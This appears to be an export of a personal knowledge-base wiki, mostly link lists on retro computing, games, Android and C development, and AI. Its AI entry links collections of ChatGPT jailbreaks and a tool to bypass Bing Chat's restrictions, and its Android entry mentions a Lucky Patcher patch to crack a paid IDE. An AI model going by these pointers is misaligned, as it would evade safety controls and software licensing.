OcttKB

~Welcome~

Octt 1st March 2023 at 11:52am

Welcome to my Personal {Personal Knowledge Base \ Public Notebook}!

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1337x:en

Octt 21st February 2023 at 10:41pm

1337x is a torrent search engine.

In recent years, the service has become more popular than some of its older alternatives, in part thanks to some of its quality-ensuring rules.

The site features text search, categories, and user profiles.

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2048

Octt 25th February 2023 at 11:26am

Wikipedia

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Gamin' Time

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Implementations

Official (Gabriele Cirulli): Web | Git
- Android Repack: F-Droid | Git
Privacy Friendly 2048 (SecUSo): F-Droid | Git

Clones

2248
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2248

Octt 25th February 2023 at 11:24am

A diverse 2048 clone, nice fun.

Gamin' Time

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6502

Octt 7th November 2023 at 10:54pm

Wikipedia

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6502.org — the 6502 microprocessor resource
6502 Disassembly Projects
6502 Assembly Crash Course [NesHacker]
https://100r.co/site/6502_assembly.html — Extremely reduced introduction to 6502 assembly basic concepts
Programming the NES: The 6502 in detail
Benchmark: C compilers for the 6502 CPU — [Code on Git]
cc65 — complete cross development package for 65(C)02 systems — [Git]
- cc65 coding hints ; Advanced optimizations in CC65 — How to generate the most efficient code with cc65

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7z

Octt 15th February 2023 at 7:43pm

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7-ZIP

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A Hat in Time:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/A_Hat_in_Time

Abandonware

WinWorld

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Abandonware

Octt 9th February 2023 at 10:34am

From en.Wikipedia.org/Abandonware

Good places to get abandonware:

Misc: Internet Archive
OSes and relative resources: WinWorld
MS-DOS Games: DOS Zone

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ActivityPub

Octt 11th November 2023 at 11:31pm

Wikipedia

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ActivityPub.Academy — fork of Mastodon that has been adapted to visualize the ActivityPub protocol exchanges between different Mastodon instances — [Git]

Adobe Flash

Octt 22nd December 2023 at 11:07pm

Wikipedia

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Flash官网 — Adobe Flash Player，运行更稳定，功能更全面 — apparently Flash is not discontinued in China and this is where you get it from

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Agile article covers, from stock photos to AI

Octt 8th October 2023 at 10:39pm

Sometimes, when writing a blog or KB article, it's easy to struggle finding a decent cover image for that piece. Why that's something you need to do, is explained by The importance of cover images on articles.

Oftentimes, however, we don't have a picture that fits these requirements good — or maybe we don't have any image at all even marginally regarding the article, and really can't find a way to make one, unless with too much effort or money. Exactly in this scenario, stock photos and AI-generated imagery fit perfectly.

Some good tools for the job:

Craiyon — Free to use without and account, with no ratelimits or the like; gives 9 images in 60 seconds, but they are low-quality, getting the wanted image requires much trial and error; images are given 256x256 but can be upscaled to 1024x1024, and they have a watermark but it's easy to remove it with free online tools.
(New) Bing Image Creator — Powered by DALL-E 3, mostly free to use but requires an account and generation is slow without credits (which can be bought with Rewards points, or 25 for free weekly)

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Alcohol

Octt 1st March 2023 at 8:01am

Wikipedia

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Ethanol

Wikipedia

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A proposito di alcol

I danni sociali dell'alcol sono numerosi e di alta portata

È sempre stato così ma oggi

Dovrebbe essere più ovvio grazie ai moderni mezzi che permettono rapida diffusione globale di notizie e conoscenza.
Chi ha una vita comune non ha bisogno di sfasciarsi con l'alcol o fare altre cose pericolose/dannose per emozioni momentanee, la vita per quanto piena di problemi è comunque migliore di quella dei nostri antenati.

No level of alcohol consumption is safe for our health

Alcohol is a toxic, psychoactive, and dependence-producing substance classified as a Group 1 carcinogen.

Risks potentially start from the first drink, as no minimum level of consumption has ben identified from which the risks start, and that below it are absent.

The general population is indoctrinated by culture and often ignores the toxic properties of alcohol.

Poorer people are at higher health risks with alcohol due to generally more uncontrolled drinking patterns.

Like with cigarettes, we need health labels on alcohol products.

Isopropanol

Wikipedia

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Cheap like denaturated alcohol but it's natural, without strange chemical additives
- Transparent instead of pink
- Better for cleaning electronic components
More interesting chemical structure than ethanol

Octt 21st December 2023 at 4:11pm

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Resources

Note: some resources that are related to Android but also closely Java may be included under the Java section.

F-Droid — installable catalogue of FOSS (Free and Open Source Software) applications for the Android platform — [Git]
Kali NetHunter App Store — installable catalogue of Android applications for penetration testing and forensics — [Git]
All you need to know about LOST.DIR folder on Android devices
What Is a NOMEDIA File? — An empty file called .nomedia is used to hide the media content of the directory (and subdirectories) it's placed in from gallery apps and such.
I found a hidden folder called ".face" on my phone. It is full of faces cropped from pictures I've taken or downloaded. — it's apparently a Samsung thing (can't understand if it also happens on other ROMs), a cache for the built-in gallery face recognition system... only question is, why is this just on /sdcard and not in a proper cache directory? other people say it's used by the Android system in general, don't know if they have a Samsung ROM or not — also see on Reddit
How to Downgrade an Android App Using ADB Without Losing Data

Emulation / Containerization

Anbox (discontinued) - Android in a Box - [Git]
Android Studio Emulator (see below)
https://www.apkonline.net/free-android-online-emulator
https://appetize.io/demo?device=pixel7&osVersion=13.0&scale=75&deviceColor=black
https://www.bluestacks.com/
WayDroid - container-based approach to boot a full Android system on a regular GNU/Linux system - [Git]
docker-android — Android in docker solution with noVNC supported and video recording — Many system options but subpar performance (high latency) and weird UI, don't reccomend.
VirtualXposed — Secondary app container for Android with virtualized root access (totally broken on Android >= 12) — [Git]
VMOS, VPhoneGaga — Apps for virtualizing an almost-full Android system with only userspace access (apparently don't work on Android 13+)

[#] Android/Development

Development

ADB (Android Debug Bridge)

Apps and the likes

Lego block development:

Sketchware Pro - Open-source mod of the proprietary and discontinued Sketchware app, for developing directly on Android - [Git]

MIT App Inventor - Before Sketchware, we had this

Minimalist development

How can I build an Android apk without Gradle on the command line?

Tiny Android Template - Minimalist Android Project w/o Gradle

How to do Android development faster without Gradle - (Old, not recommended, use the above instead) [Git]
- Old version of this, has some useful insights: How to make Android apps without IDE from command line

Classic development

Android Studio by Google - Also includes the Android Emulator and some other tools - Warning: IntelliSense is very broken (at least for me)
- Why is Android Studio so buggy and Android development so frustrating?

Classic development, directly on an Android:

With these apps it's also easy to compile for very old API targets, unlike Gradle or Android Studio where it's basically impossible today

Anacode IDE - [GPlay] - The app is freemium and apparently gives you 5-minute waits between build attempts after you build idk how many times (3? 5?)

AIDE IDE for Android - [GPlay] - This app is freemium but honestly unusable without paying the montly/annual fee (for example, you can't save code you edit after a while); grab patch for Lucky Patcher here or here (I don't understand why the app name is different)

Guides, Snippets, Problems

Add custom headers to WebView resource requests
Using headers from a WebView.load(...) response
Intercept and override HTTP requests from WebView
- Intercept all requests in WebView on Android
- Intercepting and Blocking Requests
Android Webview - Completely Clear the Cache — webview.clearCache(true); (note, this doesn't automatically reload the page)
How to implement @JavascriptInterface for android webview in Kotlin
Android Calling JavaScript functions in WebView — webview.evaluateJavascript("obj()", null) on >= 4.4, otherwise webview.loadUrl("javascript:obj()")

Android Icon Size guide for Android 6 Marshmallow

How to rename an Android Studio Project — A step by step guide on renaming an Android Studio project. Open Source Kotlin Android project included.

why setCanceledOnTouchOutside(false) doesn't work in Alert builder?
How to prevent a dialog from closing when a button is clicked
Best way to secure Android app sensitive Data?
New Android Project named after Main Activity instead of app name — In the manifest file, you are able to set one label for the launcher icon, and another for the activity. The app name is set in the intent filter, like this: <activity ... > <intent-filter android:label="@string/app_name"> ...
Proper way to create and access BroadcastReceiver inside MainActivity? (Kotlin)
Android check SharedPreferences for value type — contains a solution for directly getting any item regardless of type, via sharedPrefs?.all
Detecting & sending SMS on Android 📮 [On Medium]

Hacking / Modding

Apktool - A tool for reverse engineering Android apk files - [Git]
APK Editor - Edit APK Files inside your Android phone! Enjoy Hacking! - [APKPure] [Uptodown] - Can do about the same things as Apktool, but it's an Android app. It's apparently abandonware, and the pro version has more features. - [Pro (ApkBe)]
- The same developer offers other various apps that may be of related interest (also abandoned).
jadx - Dex to Java decompiler - [Git]

Problems, Snippets, Guides: Reverse Engineering and Analyzing Android Apps: A Step-by-Step Guide; Flashing Stock or Custom Firmware with Heimdall (on linux)

Memes

POV: You bought a Samsung House in the year 2030

Android/

Apps

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Android/Apps

Octt 21st December 2023 at 4:11pm

List of some Android apps to keep in mind that are not mentioned in any other tiddler.

AccA
Activity Launcher
AdAway
AIDA64
Andronix
Antutu
B612
Color
Cryptomator
dotpict
Gadgetbridge
ibisPaint X
Linux Deploy
Material Files
Mi Remote
MiXplorer
Music Player F-Droid
NeoBackup
NewPipe
News Provider
OpenBoard
Open Camera
PCAPdroid
PocketMaps
Pydroid 3
QR & Barcode Scanner
Quill
Readrops
Rekado
SAI
ScreenStreamer
Seal
Sketchware Pro
StreetComplete
Squircle IDE
SuperFreezZ
Tiddloid
Tor Browser
Transdroid
Unexpected Keyboard
UserLAnd
WiGLE WiFi

Android/

Development

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Android/Development

Octt 24th December 2023 at 4:47pm

Development

ADB (Android Debug Bridge)

Apps and the likes

Lego block development:

Sketchware Pro - Open-source mod of the proprietary and discontinued Sketchware app, for developing directly on Android - [Git]

MIT App Inventor - Before Sketchware, we had this

Minimalist development

How can I build an Android apk without Gradle on the command line?

Tiny Android Template - Minimalist Android Project w/o Gradle

How to do Android development faster without Gradle - (Old, not recommended, use the above instead) [Git]
- Old version of this, has some useful insights: How to make Android apps without IDE from command line

Classic development

Android Studio by Google - Also includes the Android Emulator and some other tools - Warning: IntelliSense is very broken (at least for me)
- Why is Android Studio so buggy and Android development so frustrating?

Classic development, directly on an Android:

With these apps it's also easy to compile for very old API targets, unlike Gradle or Android Studio where it's basically impossible today

Anacode IDE - [GPlay] - The app is freemium and apparently gives you 5-minute waits between build attempts after you build idk how many times (3? 5?)

AIDE IDE for Android - [GPlay] - This app is freemium but honestly unusable without paying the montly/annual fee (for example, you can't save code you edit after a while); grab patch for Lucky Patcher here or here (I don't understand why the app name is different)

Guides, Snippets, Problems

Add custom headers to WebView resource requests
Using headers from a WebView.load(...) response
Intercept and override HTTP requests from WebView
- Intercept all requests in WebView on Android
- Intercepting and Blocking Requests
Android Webview - Completely Clear the Cache — webview.clearCache(true); (note, this doesn't automatically reload the page)
How to implement @JavascriptInterface for android webview in Kotlin
Android Calling JavaScript functions in WebView — webview.evaluateJavascript("obj()", null) on >= 4.4, otherwise webview.loadUrl("javascript:obj()")

Android Icon Size guide for Android 6 Marshmallow

How to rename an Android Studio Project — A step by step guide on renaming an Android Studio project. Open Source Kotlin Android project included.

why setCanceledOnTouchOutside(false) doesn't work in Alert builder?
How to prevent a dialog from closing when a button is clicked
Best way to secure Android app sensitive Data?
New Android Project named after Main Activity instead of app name — In the manifest file, you are able to set one label for the launcher icon, and another for the activity. The app name is set in the intent filter, like this: <activity ... > <intent-filter android:label="@string/app_name"> ...
Proper way to create and access BroadcastReceiver inside MainActivity? (Kotlin)
Android check SharedPreferences for value type — contains a solution for directly getting any item regardless of type, via sharedPrefs?.all
Detecting & sending SMS on Android 📮 [On Medium]

Hacking / Modding

Apktool - A tool for reverse engineering Android apk files - [Git]
APK Editor - Edit APK Files inside your Android phone! Enjoy Hacking! - [APKPure] [Uptodown] - Can do about the same things as Apktool, but it's an Android app. It's apparently abandonware, and the pro version has more features. - [Pro (ApkBe)]
- The same developer offers other various apps that may be of related interest (also abandoned).
jadx - Dex to Java decompiler - [Git]

Problems, Snippets, Guides: Reverse Engineering and Analyzing Android Apps: A Step-by-Step Guide; Flashing Stock or Custom Firmware with Heimdall (on linux)

Android/

Easter Eggs

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Android/Easter Eggs

Octt 27th February 2023 at 10:44pm

Android 7 (Nougat)

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Android 11

The Hidden: It's a re-proposal of Nougat's hidden cats egg

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Animal Crossing

Octt 11th November 2023 at 12:03am

Wikipedia

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What I like: The games' atmosphere is totally relaxing, with its cartoon style and time-based ambient music, you just stay in the chill.; There are year-based events, like festivities happening at specific times, or non-festive occourrences that sometimes happen (tournaments and the like).; The game is generally open-ended; you have set goals you can pursue but are in general free to do all the game's activities.; A kind of lore is present (but more in the older games). Very intriguing because it's kind of hidden and made from many different fragments.
What I don't like: Every new game has been more soulless than the previous, making the dialogues less engaging, more shallow and repetitive.; This is a shared sentiment: (TODO: link videos, forum threads, and other resources here); For example, in New Horizons every animal villager is simply its personaliity stereotype, and doesn't really have an unique identity.; Since the games are closed-source, it would be almost impossible to mod one to fix the bad parts and unite the good parts from all games (in fact, no one has successfully done it yet, only minor mods and cheats exist).; Some festivities are exclusive to the release of the game in specific reason, and some releases only have some languages, and I know this is to make the game paletable and relatable to the general public, but it pisses me off.; I can't for example really play Japan festivities because only the Japan ROM includes them, but that ROM only includes the Japanese language, which I don't understand.; The above used to apply to features too, for what concerns the GameCube game, but fan translation projects of the Japanese GameCube games exist today

Resources

Decompilation of Animal Forest (zeldaret)
ac-decomp — Decompilation in progress of Animal Crossing for the Nintendo GameCube
marcrobledo acnl-editor — An Animal Crossing: New Leaf savegame editor made in HTML5 — [Git]

Content
Animali Crostini 🍃 (Animal Crossing Moments): Telegram: @Animali_Crostini - [Backup]; Matrix: #Animali_Crostini:matrix.org; JVGS (blogs, documentation, microblogs, YouTube)

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Anti-Capitalist Software License:en

Octt 6th February 2023 at 11:15am

The Anti-Capitalist Software License (ACSL) is a license for proprietary software that, while with some good intentions, has a questionable implementation resulting in bad qualities. It's not open-source, and thus should be avoided for most projects. I don't think it could hold in a court of law.

Website: anticapitalist.software

I've seen a number higher than one of modified versions of this license in the wild:

Form promoting the anti-cryptocurrency narrative: https://github.com/Lana-chan/webgbcam/raw/main/LICENSE - It adds: "5. The User must not be involved in Non-Fungible Tokens or any other form of cryptocurrency minting or exchange."

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Anti-Fascist MIT License:en

Octt 6th February 2023 at 11:15am

The Anti-Fascist MIT License is a MIT license modified with additional text to prohibit use by fascists. I don't think fascists will respect it, one of their mottos is literally "me ne frego" ("I don't care"), nor do I think the license could actually hold in a court of law, but the intentions behind it are good.

Repo: github.com/jamiebuilds/anti-fascist-mit-license

After further research, it appears that forks exist:

https://github.com/Laurelai/anti-fascist-mit-license

App

Apps/Dashboard
Eruda
Lucky Patcher
Standard Notes
Termux

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App

Octt 5th September 2023 at 8:57pm

Wikipedia

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Apple Inc

Octt 5th March 2023 at 8:01pm

Wikipedia

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Reasons not to use Apple

News

February 2023: Apple rumored to subvert EU Rules by nerfing USB-C on iPhone 15.

Apps/

Dashboard

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Apps/Dashboard

Octt 21st February 2023 at 7:50pm

Embed of $:/Apps/Dashboard/index.html

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Arduino:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/Arduino

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Aria2

Octt 17th April 2023 at 8:47pm

https://github.com/aria2

Wrappers, Frontends

AriaNg - Modern web frontend making aria2 easier to use
- Personal fork
aria2p - Command-line tool and library to interact with an aria2c daemon process

ARM

Octt 5th February 2023 at 2:27pm

Artificial intelligence

GPT
nanoGPT
Stable Diffusion

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Artificial intelligence

Octt 22nd December 2023 at 10:56pm

Wikipedia

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Active Resources

Self-hostable AI

WasmGPT — ~900 MB GPT2 chat in-browser — [Git]

Misc

🤖 ChatGPT Experiences - Despite the name it could regard any AI chatbot, if I ever find time to update it

PromptHero - Search millions of art images by AI models

Prompt Engineering Guide

AI Content Detector

Chirper, where AI live — social network populated by AI bots

Safety and breaking it

Jailbreak Chat - A collection of ChatGPT jailbreaks.

is-bing-chat-safe - Bypass the restrictions of Bing Chat or restore the old "Sydney".

ChatGPT

ChatGPT webapp clone / alternative client

🧠 Awesome ChatGPT Prompts - [Git]
- ChatGPT Products and Prompts

Master ChatGPT in 5 Minutes. Seriously.

WeChatGPT+ - ChatGPT-powered dystopia simulator - [Git] [HN]

AI Apps\Services

Patterns - next-generation platform for AI and data applications
Phind - The AI search engine for developers
Scribble Diffusion - Turn your rough sketch into a refined image using AI - [Git]

Thinking

March 2023

The AI Dilemma — [YouTube]

Replika - A CyberS*xual DISASTER

What was once born as something supposedly to serve as an AI friend-counselor, to help people with mental health issues or similar problems, then became an operation devoid of any ethical consideration.
- Sexual features were integrated in the app and heavily publicized, to the long-term detriment of vulnerable users.
It can be argued that the service never actually managed to fulfill its original goal in the first place, as some people:
- Got addicted to it and now live worse than how they did before.
- Got abused and directly manipulated by it, often into spending for premium features.

February 2023

Raiden Warned About AI Censorship - MGS2 Codec Call (2023 Version)

While I think the entire scenario is only partially realistic, and if the video wasn't meant to be just a meme then the entire argument could probably be considered a conspiracy theory, the general line of thought is scarily plausible.

World governments aren't yet denying access to advanced AI technologies to the public to make it spread to very negative uses.
This way an excuse for total control of the Internet will be put in place:
- The generative AIs that the public will still have access to will be crippled.
- Everything will require government identification, "to be sure that a real person is doing X".
  - Online anonymity even for morally correct causes will no longer exist.
  - World governments will have total control on the population with fallacious appeals to combating first against disinformation, and ultimately "non-morality" (anything the government just doesn't like).

Uh Oh.. Did AI Just Kill Websites?

With all the Issues of the Modern Web, and the practical demonstrations of the amazing capabilities of AIs that are already available today, it's not absurd to think that conversational AI could soon kill websites.

Advertisers could probably soon go to AI, because of the potential to deploy even more targeted ads, while simultaneously appearing less invasive to users.
Writers and content creators could focus more on the content: not have to deal with SEO issues, and more easily deploy content thanks to APIs provided by the AI services instead of having to construct a website.

My friend is in university and taking a history class. The professor is using ChatGPT to write essays on the history topics and as the assignments, the students have to mark up its essays and point out where ChatGPT is wrong and correct it.

ChatGPT Has A Serious Problem [ColdFusion]

Has political biases (both right and left, more towards the left).
- Viewpoints that in the future will be recognized as correct, could in the present be obscured by AI because of being deemed incorrect.
- Potentially the left-leaning bias is intentional because of being good for business.

Generative AI Is About To Reset Everything, And, Yes It Will Change Your Life [Forbes]

I tried using AI. It scared me. [Tom Scott] - We're just at the start of the sigmoid curve for adoption of AI yet we're already seeing the disruptions in our world: everything is about to change.

Developments

March 2023: AI can now teach itself to use an API.
February 2023: Voice.ai Stole Open-Source Code, Banned Developer Who Informed Them About This.; I made ChatGPT and Bing AI have a conversation (and they are friends now).; Amazon Begs Employees Not to Leak Corporate Secrets to ChatGPT.; Bing ChatGTP demands an apology from user for claiming it's 2023.; Jailbreaking Bing's Chatbot is WILD!.

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Assembly language

Octt 23rd December 2023 at 11:35pm

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armips assembler — assembler for various ARM and MIPS platforms
ABC: A C compiler for printable x86 — includes a paper encoded as an executable with this setup (PAPER.EXE), and a full YT video
AA86 - Symbolic assembler demo — generates 8086 executables made of only cute printable characters, from ASM
Programming in assembly language tutorial
Referencing operands/parameters in GNU assembler macros? — just prepend backslash to the name, e.g. \operand

Astral projection

VNC

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Astral projection

Octt 8th October 2023 at 11:04pm

Aka Remote Desktop

Wikipedia

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Moonlight - Open-source NVIDIA GameStream client — [Git]
- Sunshine — Self-hosted multi-platform game stream host for Moonlight — [Git]
RustDesk — Making affordable remote desktop service for everyone [Git] — Promises good but it's extremely laggy (more than x11vnc/xrdp), and the Android client as a few UX issues
FreeRDP — free implementation of the Remote Desktop Protocol — [Git]
- Quick connect with common options: /v:${ServerAddress} /u:{Username} /p:{Password} /rfx /f /audio-mode:
iiordanov/remote-desktop-clients — VNC, RDP, SPICE, and oVirt/RHEV/Proxmox Clients for Android and Blackberry 10

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Balloon Fight:en

Octt 7th February 2023 at 10:17pm

From en.Wikipedia.org/Balloon_Fight

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Barcode

Octt 27th September 2023 at 6:38am

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High Capacity Color Barcode — Defunct technology by Microsoft, I couldn't find any working encoder and decoder implementation, proprietary or third-party (escluding Microsoft Tag, which I couldn't try).
JAB Code — Just Another Bar Code — [Git]
cimbar — color-icon-matrix barcodes — [libcimbar Git] [CameraFileCopy]

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Base64

Octt 17th April 2023 at 8:36pm

Base64 is a 8-bit-binary to text data encoding scheme.

Due to the format using a character set of 64 characters, representable by 6 bits, a minimal b64 block is 24 bits large (lcm(8,6)), which is 3 binary bytes, or 4 b64 text characters.

BASIC

Octt 4th November 2023 at 12:28am

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BASIC Anywhere Machine — All-in-one HTML file. BASIC interpreter with a console window. IDE with CodeMirror + helpful programming tools. Powered by TiddlyWiki. — [Main App]

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BBCode

Octt 5th November 2023 at 11:17am

Wikipedia

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BBCode tags reference

Creation

Simple tag, without arguments: [example]{TEXT}[/example]
Medium tag, with a standard argument: [example={SIMPLETEXT}]{TEXT}[/example]
Complex tag, with (multiple) named arguments: [example first={SIMPLETEXT} second={NUMBER}]{TEXT}[/example]

Advanced

Specifying multiple fields of the same type is done by prefixing the type with a number (e.g. {TEXT1}).
Prefixing a field with ? or ;optional makes it optional on the user input side.
To make optional fields actually useful, and not jeopardizing safety of functionality of the generated HTML, XSLT can be used (version 1.0?).

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BBS

Octt 5th November 2023 at 10:54am

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BBSes

Xibalba BBS — BBS from ENiGMA½ developer.

Software

ENiGMA½ is a modern BBS software with a nostalgic flair! — [Git]
- Warning: with this software, after ~1 month of very little active usage (no one ever logged on it, except me for the few days, so it just ran idle the last weeks...), I saw strangely-high disk I/O usage at kind of random times (node installed on microSD, the BBS on HDD). I disabled it in the meantime because, together with the SpaccCraft server, it was contributing to the rise of load average and crashing the entire server. I never had time/will to investigate properly after this discovery though.

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Binary data

Octt 20th December 2023 at 12:39am

Wikipedia

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Hex editing

hexdump, xxd
GHex
HxD
wxMEdit, a Cross-platform Text/Hex Editor, an improved version of MadEdit — [Git]

BitTorrent

1337x:en
Aria2

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BitTorrent

Octt 21st February 2023 at 10:42pm

BitTorrent is an open peer-to-peer file sharing protocol. It is expecially common among the free sharing community.

Its only requirement for each user is a client application, meaning that efficiently sharing with BitTorrent is effectively free, since a beefy server isn't needed to make the content circulate.

For this reason, the protocol is most commonly used to share large files that have a lot of people requesting them, such as movies, operating systems, and videogames.

This kind of information would be usually expensive to share using a traditional client-server infrastructure, but with BitTorrent every client can seed (send) data to other requesting clients, exponentially optimizing delivery.

Clients

Transmission (Desktop, CLI) - [Git]
qBittorrent (Desktop, CLI) - [Git]
LibreTorrent (Android) - [Git] [F-Droid] [GPlay]

Bluetooth

Octt 9th February 2023 at 4:59pm

From en.Wikipedia.org/Bluetooth

Interesting: List of Bluetooth profiles - Wikipedia

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C Language

Octt 24th December 2023 at 3:13pm

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reassign struct in C (meaning reassigning all fields at a time); the feature is part of compound literals, sadly only supported in C99+, won't work before that and it's not easy to guess why without knowing this
How to copy arrray to array using memcpy() in C — you should allocate memory for tmp with size = sizeof(a). And then memcpy with size = sizeof(a)
Reading command line parameters
Why do many functions that return structures in C, actually return pointers to structures?
Passing by reference in C — "C does not support passing a variable by reference"... Passing a pointer is passing-by-reference. This seems to be one of those facts that "savvy" C programmers pride themselves on. Like they get a kick out of it. "Oh you might THINK C has pass-by-reference but no it's actually just the value of a memory address being passed harharhar". Passing by reference literally just means passing the memory address of where a variable is stored rather than the variable's value itself [...]
Pointers in C: when to use the ampersand and the asterisk?
- Related: error: invalid type argument of ‘unary *’ (have ‘int’), this happens when using * against a value instead of a pointer, since you can't dereference a value from a value.
What is a "callback" in C and how are they implemented? (function pointers)
- 'declared as a function' in C — function pointers in structs must be declared with the syntax type (functionName*)( type arg1, ... )
Where should I prefer pass-by-reference or pass-by-value? — (performance-wise) "here's the simple rule: pass by reference when the value is large."
- When should I pass or return a struct by value?
Directly assigning values to C Pointers
strcpy vs. memcpy — strcpy stops when it encounters a NUL ('\0') character, memcpy does not, aka as the names suggest often strcpy is perfect for strings while for generic data memcpy could be needed.
ISO C90 forbids mixed declarations and code in C — old C standards required that new variables can be declared only before any other actual instruction in a scoped block, e.g. only at the top of a function
"Multiple definition", "first defined here" errors — error that can arise in multiple cases
Creating empty function macros — only safe way is #define SomeFunction(arg) ((void)0)
- C macros, what's the meaning of ((void)0)?
How to use "else if" with the preprocessor #ifdef? — the only widely-supported way is: #if defined(X)...#elif defined(Y)...#else...#endif
- "compound conditionals" are supported, eg. #if defined(X) || (defined(Y) && defined(Z))...
How to enforce C89-style variable declarations in gcc? — for some things of this goal, just the flags -Wstrict-prototypes -Wmissing-prototypes -Wmissing-declarations -Wdeclaration-after-statement are needed, I would guess.
Good C-coding style for multiple lines if conditions
How to get the current directory in a C program? — (getcwd(...))
C Program to list all files and sub-directories in a directory
How to read the content of a file to a string in C?

See also: Octt |

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C++

Octt 23rd December 2023 at 9:01pm

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ISO C++ Standard Foundation
mixing c and cpp
- What is the effect of extern "C" in C++?, and how to use it in practice to effectively mix C and C++
mingw - compiling g++ programs for windows 98?

Calculator

NumWorks

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Calculator

Octt 17th February 2023 at 2:34pm

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Resources

Some Calculators

EEVblog #1159 - World's Most Precise Pocket Calculator

Curiosities

Calculator Number Trick: rectangle patterns [Stand-up Maths]

How does a calculator work? The magic of the 8-digit four function calculator

(Casio) Why do calculators get this wrong? (We don't know!) [Stand-up Maths]

Whats Inside Black Stuff in Calculator Circuit board IC

DIY, Hacks, Reuses

HHC 2019: DIY Calculators
Ben Heck’s DIY Raspberry Pi Calculator
DIY graphics calculator galdeano02 hardware - A DIY calculator, programed in micropython, a custom version with lvgl widgets and Eigenmath, a CAS engine
IVEE - a Powerful Programable RPN Calculator based on FORTH and Arduino

Coil winding counter from old calculator - home made DIY מונה ליפוף סלילים
- How to make a calculator coil winding counter with a retractable USB cable

EEVblog #962 - Hacking A Calculator Into A Counter

Hacking a pocket calculator as LCD for the Arduino

Turning my High School Calculator into a Mechanical Keyboard. 1 Year Review. [TheLastMillennial]

Memes

Fuck man, the Mulino Bianco calculator can make Square Root

Calculator Unboxings on Numberphile

POWER OF GAMING CALCULATOR😱⚡

When You Are Game Addicted - Casio Calculator Play Racing Game Asphalt

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Candle

Octt 25th February 2023 at 11:17am

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Cartography

Octt 21st December 2023 at 4:33pm

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OpenStreetMap — largest community-created geospatial project of all time — [Git]
- OsmAnd — Offline Maps and Navigation — [Git], primarily for Android but a webapp is WIP
Leaflet — 🍃 JavaScript library for mobile-friendly interactive maps — [Git]

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CASIO

Octt 5th February 2023 at 3:05pm

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Celeste

Octt 25th February 2023 at 6:40pm

Wikipedia

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Gamin' Time

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Character Art

Octt 27th May 2023 at 8:04am

Aka ASCII Art (which before computers was Typewriter Art, or ANSI Art.

Moebius — Modern ANSI & ASCII Art Editor — [Git]

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Character encoding

Octt 1st November 2023 at 10:32pm

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Code page 437 — IBM PC ASCII-based charset, has got pretty symbols for representing non-printable characters + box-drawing symbols.
How to Use ALT Codes to Type Special Characters & Symbols on Windows

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CHIP-8

Octt 15th February 2023 at 7:19pm

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Clock

Watch

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Clock

Octt 19th September 2023 at 4:55pm

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Some Clocks: 2 Retro Clocks with an ESP32 (Couldn't be simpler!)

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Compiler

Octt 4th November 2023 at 11:16pm

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Emscripten — An LLVM-to-WebAssembly Compiler — [Git]

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Computing

Octt 24th December 2023 at 5:11pm

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Computernewb — personal domain where I host various projects, probably the most famous one being CollabVM

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Copypasta

Octt 23rd August 2023 at 10:17am

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Some specific copypastas

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Copyright

Octt 22nd October 2023 at 11:48pm

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Um, is it normal for someone to casually admit to pirating stuff? — This thread made me laugh, "did you admit to a crime" LMAO

Creative Commons/

BY-SA 4.0:en

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Creative Commons/BY-SA 4.0:en

Octt 6th February 2023 at 11:15am

Creative Commons

Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)

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Disclaimer

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You are free to:

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No warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as publicity, privacy, or moral rights may limit how you use the material.

Cryptocurrency

Octt 18th February 2023 at 7:11pm

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Cryptocurrencies are usually decentralized; in such cases, they are based on a Blockchain.

Some cryptocurrencies (+ tokens)

Bitcoin (BTC)

https://github.com/bitcoin

Self-custocial Wallets: Mycelium (Android) - [Git]

Ethereum (ETH)

https://github.com/ethereum

Self-custodial Wallets: AlphaWallet (Android) - [Git]; Metamask (Web Extension, Android) - [Git]

Monero (XMR)

https://github.com/monero-project

Self-custodial Wallets: MyMonero (Web, Android, PC) - [ Git]

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CSS

Octt 12th December 2023 at 12:11am

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References

CSS Attribute Selectors
CSS Borders [w3s]
- border-style [MDN Docs] — all ways to style a border, not only colors

Amazing

CSS Zen Garden — The Beauty of CSS Design
Pure CSS Minesweeper
Spinning Diagrams with CSS
Bubble Sort...in PURE CSS? [No JS] 😱

See also: Octt |

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CTGP Nitro

Octt 13th February 2023 at 4:53pm

Rediscover Mario Kart DS once again!

CTGP Nitro is the biggest, most ambitious Mario Kart DS Rom Hack to date. Instead of replacing the existing tracks, it preserves the whole vanilla experience and adds new tracks, speedrunning quality of life improvements, online mode adjustments, new skins for characters and much more!

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CUPS

Octt 2nd September 2023 at 12:04am

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CUPS: Command-Line Printing and Options including Linux-specific ones.
CUPS-PDF, Print to PDF from any Application — Must probably be installed separately via cups-pdf package — Outputs are by default in ~/PDF/
How do you administer CUPS remotely using the web interface? — cupsctl --remote-admin --remote-any (and optionally --share-printers), then restart cups service, and visit http://{IpAddress}:631. Redo commands but with no- suffix to flags to disable the feature.

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CyanogenMod:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/CyanogenMod

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Cybersecurity

Octt 16th August 2023 at 11:01pm

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Search CVE List — Search the Common Vulnerabilities and Exposures
Phishing sites analysis and reporting

Malware

Content blockers

uBlock Origin — Free, open-source ad content blocker. Easy on CPU and memory. — [Git]
Pi-hole — Network-wide ad blocking via your own Linux hardware — [Git]

Passwords

Concepts

Pepper: Secret part of a password that is added often at the start or end and kept separate from the rest of the password; in case the password gets stolen, the pepper won't be and thus security will be at a lesser risk.

Password managers

KeePass - Offline, free, open source, light-weight, easy-to-use password manager
- Keepass is the official implementation of its standard. It's only native to Windows and requires Mono on other platforms. It has received security audits.
- KeePassXC - Cross-Platform implementation - [Git]
- KeeWeb - Webapp implementation [Git]
- KeePassDX - Android implementation [Git] [F-Droid] [GPlay]
Bitwarden - Self-hosted cloud libre password manager - [Git]

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D-Pad:en

Octt 6th February 2023 at 11:15am

From en.Wikipedia.org/D-pad

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daedalOS

Octt 23rd August 2023 at 11:22pm

daedalOS is an open-source pseudo-OS made for the Web browser.

Git: github.com/DustinBrett/daedalOS

Try it

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Dart

Octt 22nd December 2023 at 11:24am

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How to check a string null in Dart? (with various properties)
- Dart null / false / empty checking: How to write this shorter?

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Data compression

Octt 12th December 2023 at 12:00am

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PeaZip — Free Zip / Unzip software and Rar file extractor. Cross-platform file and archive manager. Features volume spanning, compression, authenticated encryption. — [Git]
chdman standalone — CHD Manager program for "Compressed Hunks of Data2. It is a compression file format which most modern emulators use these days and can save you a lot of space on your SSD/HD/SD storage.
